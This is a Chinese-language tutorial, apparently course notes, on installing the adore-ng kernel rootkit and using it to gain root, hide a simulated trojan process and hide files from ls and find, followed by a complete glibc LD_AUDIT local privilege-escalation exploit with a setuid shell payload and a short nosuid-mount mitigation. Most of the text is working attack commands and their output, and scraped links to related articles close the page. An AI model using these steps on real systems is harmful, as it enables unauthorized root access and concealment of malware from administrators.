官网:https://github.com/trimpsyw/adore-ng

安装:

[root@xuegod63 ~]# unzipadore-ng-master.zip

[root@xuegod63 ~]# cdadore-ng-master

[root@xuegod63 adore-ng-master]#rpm  -ivh/mnt/Packages/kernel-devel-2.6.32-220.el6.x86_64.rpm

yum install gcc*

[root@xuegod63adore-ng-master]# make

[root@xuegod63adore-ng-master]# insmod adore-ng.ko   #加载模块

 

测试,查看帮助:

[root@xuegod63adore-ng-master]# ./ava -h

Usage: ./ava {h,u,r,R,i,v,U}[file or PID]

 

       I print info (secret UID etc)

       h hide file  #隐藏文件

       u unhide file

       r execute as root  #可以提权,以root身份运行程序

       R remove PID forever

       U uninstall adore

       i make PID invisible  #隐藏进程。隐藏你的木马程序

       v make PID visible

 

 

测试:准备环境,创建一个普通用户于测试。然后在普通用户上,通过ava命令,提权后,以root身份运行一个进程。

提权:提高自己在服务器中的权限。

 

[root@xuegod63 ~]# useradd tree

[root@xuegod63 ~]# echo 123456| passwd --stdin tree

Changing password for usertree

passwd: all authenticationtokens updated successfully.

 

例1: 通过ava命令提权。让普通用户tree可以获得root权限

[root@xuegod63adore-ng-master]# cp -r /root/adore-ng-master /tmp/

[root@xuegod63adore-ng-master]# chmod 777 /tmp/adore-ng-master/ -R

 

[root@xuegod63 adore-ng-master]#ssh tree@192.168.1.63   #以普通帐号登录

[tree@xuegod63 ~]$ cd/tmp/adore-ng-master/

[tree@xuegod63adore-ng-master]$ pwd

/tmp/adore-ng-master

[mk@xuegod63 adore-ng-master]$./ava I #查看基本信息,能弹出以下信息说明程序运行正常

56,500,500,56

Adore 1.56 installed. Goodluck.

 

ELITE_UID: 2618748389,ELITE_GID=4063569279, ADORE_KEY=fgjgggfd CURRENT_ADORE=56

 

 

实战:  r 选项: execute as root  #以root身份运行程序

 

[mk@xuegod63 adore-ng-master]$ll /etc/shadow

---------- 1 root root 1071Apr  7 10:17 /etc/shadow

[mk@xuegod63 adore-ng-master]$vim /etc/shadow

 

[mk@xuegod63 adore-ng-master]$  ./ava r vim /etc/shadow #编辑时,可以写入一些内容,测试是否可以正常写入

查看修改成功:

[root@xuegod63 ~]# vim/etc/shadow   

 

 

另外,在别一个终端上查看,此进程的用户身份:

[root@xuegod63 ~]#  ps -axu | grep shadow

Warning: bad syntax, perhaps abogus '-'? See /usr/share/doc/procps-3.2.7/FAQ

root      6874  0.1 0.1  10216  2924 pts/3   S+   04:12   0:00 /usr/bin/vim /etc/shadow

root      6879 0.0  0.0   4024  692 pts/2    S+   04:12  0:00 grep shadow

 

留后门,不让人看见?

 

实战2: 隐藏进程。隐藏你的木马程序

模拟一个木马程序:

[mk@xuegod63adore-ng-master]$ cat a.sh

#!/bin/bash

sleep 2000

[mk@xuegod63adore-ng-master]$ chmod +x a.sh

[mk@xuegod63adore-ng-master]$ ./a.sh  & 

 

查看:

[root@xuegod63 ~]# ps-axu | grep a.sh

Warning: bad syntax,perhaps a bogus '-'? See /usr/share/doc/procps-3.2.8/FAQ

tree    6339  0.0  0.1 106148 1184 pts/3    S    10:32  0:00 /bin/bash ./a.sh

 

隐藏进程

[mk@xuegod63adore-ng-master]$  ./ava i  6339  #隐藏进程

56,500,500,56

Adore 1.56 installed. Goodluck.

Made PID 6339 invisible.

 

[root@xuegod63 ~]# ps -axu |grep a.sh #查看

Warning: bad syntax, perhaps abogus '-'? See /usr/share/doc/procps-3.2.8/FAQ

root     10225 0.0  0.0 103300   852 pts/4   S+   22:54   0:00 grep a.sh

 

 

实战3: 隐藏文件

[mk@xuegod63 adore-ng-master]$mkdir test

[mk@xuegod63 adore-ng-master]$cd test/

[mk@xuegod63 test]$ echo aaaa >a.php

[mk@xuegod63 test]$ ls -a

.  .. a.php

 

隐藏文件

[mk@xuegod63 test]$/tmp/adore-ng-master/ava h a.php

56,500,500,56

Adore 1.56 installed. Goodluck.

File 'a.php' is now hidden.

查看:

[mk@localhost test]$ ls -a

.  ..

[mk@xuegod63 test]$ cat a.php

aaaa

 

尝试:查找最近被的修改的文件

[mk@xuegod63 test]$touch b.php

[mk@xuegod63 test]$ ls

b.php

[mk@xuegod63 test]$find ./ -mtime -2

./

./b.php  #找不到出来

 

有没有办法查看到a.php  : 没有。   除非把rootkit木马程序关了

 

 

 

恢复出来:

[mk@xuegod63 test]$/tmp/adore-ng-master/ava u a.php

56,500,500,56

Adore 1.56 installed. Goodluck.

File 'a.php' is now visible.

[mk@xuegod63 test]$ ls -a

.  .. a.php

 

总结:

1、通过rootkit提权

2、通过rootkit隐藏木马进程号

3、通过rootkit隐藏木马文件

 

 

创建一个让root用户都删除不了的木马文件

 

[root@xuegod63 ~]#lsattr b.txt

----i--------e- b.txt

[root@xuegod63 ~]#chattr -i b.txt

[root@xuegod63 ~]# rm-rf b.txt

 

 

实战2:Linux下普通用户提权

提权:你听不懂。  听深度,后期自己能做出来效果就可以

 

提权: 从普通用户提升到root权限

注:RHEL5到RHEL6.0 32位操作系统和64位操作系统都存在以下漏洞。

利用glibc库的漏洞,提权。

 

以一个普通用户登录

[root@xuegod63 ~]# su -mk

[mk@xuegod63 ~]$

 

suid : 当用户执行时命令a时,会以命令a的拥有者身份运行此命令。

 

[mk@xuegod63 ~]$ cd/tmp/

[hello@localhost tmp]$ls -ld /tmp/

drwxrwxrwt 11 root root4096 10-14 21:29 /tmp/

[hello@localhost tmp]$cd /tmp/

[hello@localhost tmp]$mkdir exploit        //随便在tmp目录下创建一个文件夹exploit:利用

[mk@localhostadore-ng]$ ll /bin/ping

-rwsr-xr-x 1 root root35832 Apr 24  2009 /bin/ping

[hello@localhost tmp]$ln /bin/ping /tmp/exploit/target  //创建/bin/ping 的一个硬链接,硬链接的名随便起

[hello@localhost tmp]$exec 3< /tmp/exploit/target   

[hello@localhost tmp]$ls -l /proc/$$/fd/3

lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target

[hello@localhost tmp]$rm -fr /tmp/exploit/  

[hello@localhost tmp]$ls -l /proc/$$/fd/3   //查看链接已经被删除

lr-x------ 1 hellohello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)

[hello@localhost tmp]$cat  payload.c       //写一个C语言程序

void__attribute__((constructor))  init()      

{

    setuid(0);

    system("/bin/bash");

}

[hello@localhost tmp]$gcc -w -fPIC -shared -o /tmp/exploit  payload.c   //编译C程序

[hello@localhost tmp]$ls -l /tmp/exploit

-rwxrwxr-x 1 hellohello 4223 10-20 09:32 /tmp/exploit

[mk@xuegod63 tmp]$whoami

mk

[hello@localhost tmp]$LD_AUDIT="\$ORIGIN"  exec  /proc/self/fd/3   

[root@localhost tmp]#whoami

 

 root

 

在RHEL6.1尝试时,前面几条命令都可以执行成功,在执行最后这条命令时报以下错误,并直接使用普通用户退出登录。

 提示:对像$ORIGIN不能被作为审计接口加载

       无法打开共享文件ject ;忽略

 

解决方法:

对 777 的目录做如下操作 , 可以控制你提权的 . 比如/tmp

# mount -o bind,nosuid/tmp /tmp

还需要把用户的家目录也用上面的方法打上补丁:

[root@xuegod63 ~]#mount -o bind,nosuid /home/mk /home/mk

修改就不行了,执行ln命令时提示以下错误。

[root@xuegod63 ~]# su -mk

[mk@xuegod63 ~]$ ln/bin/ping /tmp/ping

ln: creating hard link`/tmp/ping' => `/bin/ping': Invalid cross-device link

#报错,创建硬链接时,报错,无效的跨设备连接

 

注:查找权限是777的文件夹:

root@xuegod63 ~]# find/ -perm -777 -type d

/var/tmp

/dev/.mdadm

/dev/.udev

/dev/.udev/rules.d

/dev/shm

find:`/proc/9346/task/9346/fd/5': No such file or directory

find:`/proc/9346/task/9346/fdinfo/5': No such file or directory

find:`/proc/9346/fd/5': No such file or directory

find: `/proc/9346/fdinfo/5':No such file or directory

/tmp

/tmp/VMwareDnD

/tmp/.ICE-unix

/tmp/.X11-unix

普通用户的家目录/home/普通用户

 

注:

-perm mode:文件权限正好符合mode

-perm +mode:文件权限部分符合mode

-perm -mode: 文件权限完全符合mode

adore-ng笔记和Linux普通用户提权的更多相关文章

  1. linux普通用户提权操作

    [root@test1 ~]# vim /etc/sudoers ## Allow root to run any commands anywhere root ALL=(ALL) ALLzhouyu ...

  2. Linux sudo用户提权与日志审计

    一.格式说明及常用配置选项 格式: 用户或组 主机=授权可以使用哪个用户的权限 可以执行的命令 User_Alias 用户定义别名(别名可以是用户,用户组(用户组前面要加%))例:User_Alias ...

  3. linux普通用户提权

    tar通配符注入. echo 'echo "chenglee ALL=(root) NOPASSWD: ALL" > /etc/sudoers' > demo.sh e ...

  4. linux 安全基本防护 用户提权 ssh访问控制

    linu安全应用 信息安全分类: 物理安全:主机/机房环境 系统安全:操作系统 应用安全:各种网络服务,应用程序 网络安全:网络访问控制,防火墙规则 数据安全:信息的备份与恢复,加密解密 管理安全:保 ...

  5. Linux用户提权管理方案

    提权管理方案背景: 如果一个公司有10余个运维或网络安全人员,同时管理服务器,切换到管理员用户时(su - root),必须要有root管理员密码,如果其中一人修改过root密码,其他用户则登录不了, ...

  6. LINUX渗透与提权总结

    本文为Linux渗透与提权技巧总结篇,旨在收集各种Linux渗透技巧与提权版本,方便各位同学在日后的渗透测试中能够事半功倍. Linux 系统下的一些常见路径: 001 /etc/passwd 002 ...

  7. Linux本地内核提权漏洞复现(CVE-2019-13272)

    Linux本地内核提权漏洞复现(CVE-2019-13272) 一.漏洞描述 当调用PTRACE_TRACEME时,ptrace_link函数将获得对父进程凭据的RCU引用,然后将该指针指向get_c ...

  8. Enumy:一款功能强大的Linux后渗透提权枚举工具

    Enumy是一款功能强大的Linux后渗透提权枚举工具,该工具是一个速度非常快的可移植可执行文件,广大研究人员可以在针对Linux设备的渗透测试以及CTF的后渗透阶段利用该工具实现权限提升,而Enum ...

  9. Centos普通用户提权至ROOT

    1.利用/bin/ping的漏洞普通用户提权.(rws中的s) [root@localhost ~]# ls -l /bin/ping -rwsr-xr-x. root root 9月 /bin/pi ...

随机推荐

  1. HDU 6186 CS Course

    保存前缀后缀. 保存一下前缀和后缀,去掉第$i$个位置,就是$L[i-1]$和$R[i+1]$进行运算. #include<bits/stdc++.h> using namespace s ...

  2. Hibernate 注解方式配置

    在Hibernate3之后就可以使用注解的方式去配置.而且在工作中我们使用的更多的也是注解方式去配置项目,所以还有一部分使用配置文件去配置的一些关系就不在此去一一举例,需要了解的朋友可以去查看Hibe ...

  3. 【LYOI 212】「雅礼集训 2017 Day8」价(二分匹配+最大权闭合子图)

    「雅礼集训 2017 Day8」价 内存限制: 512 MiB时间限制: 1000 ms 输入文件: z.in输出文件: z.out   [分析] 蛤?一开始看错题了,但是也没有改,因为不会做. 一开 ...

  4. 51nod1380 夹克老爷的逢三抽一

    问题等价于选出$n / 3$个不相邻元素是权值和最大 这是一个经典贪心问题,同种树,拿堆维护即可,复杂度$O(n \log n)$ #include <queue> #include &l ...

  5. java中的多线程 // 基础

    java 中的多线程 简介 进程 : 指正在运行的程序,并具有一定的独立能力,即 当硬盘中的程序进入到内存中运行时,就变成了一个进程 线程 : 是进程中的一个执行单元,负责当前程序的执行.线程就是CP ...

  6. Map按照数值进行排序

    public static Map<String, Integer> sortMapByValue(Map<String, Integer> oriMap) { if (ori ...

  7. [转]最流行的android组件大全

      目录(?)[+] 目录(?)[-] 最流行的android组件大全 UI组件 类库 游戏引擎 Android HTML5应用 最流行的android组件大全 最新更新文档请访问我的网站 Andro ...

  8. JVM堆内存的分代

    虚拟机的堆内存共划分为三个代:年轻代(Young Generation).年老代(Old Generation)和持久代(PermanentGeneration).其中持久代主要存放的是Java类的类 ...

  9. Ubuntu14.04和Tiny6410挂载NFS服务!

    我是以root身份登录Ubuntu的: 在Ubuntu上执行   #apt-get install nfs-kernel-server    //安装NFS服务 在Ubuntu上执行   #mkdir ...

  10. VS2012项目中使用CocoStudio相关文件的设置

    开发环境说明: win7  vs2012  coco2d-x 3.0 alpha1 cocos2d-x 3.0 alpha 1搭配CocoStudio使用,效果更佳.CocoStudio包含了游戏开发 ...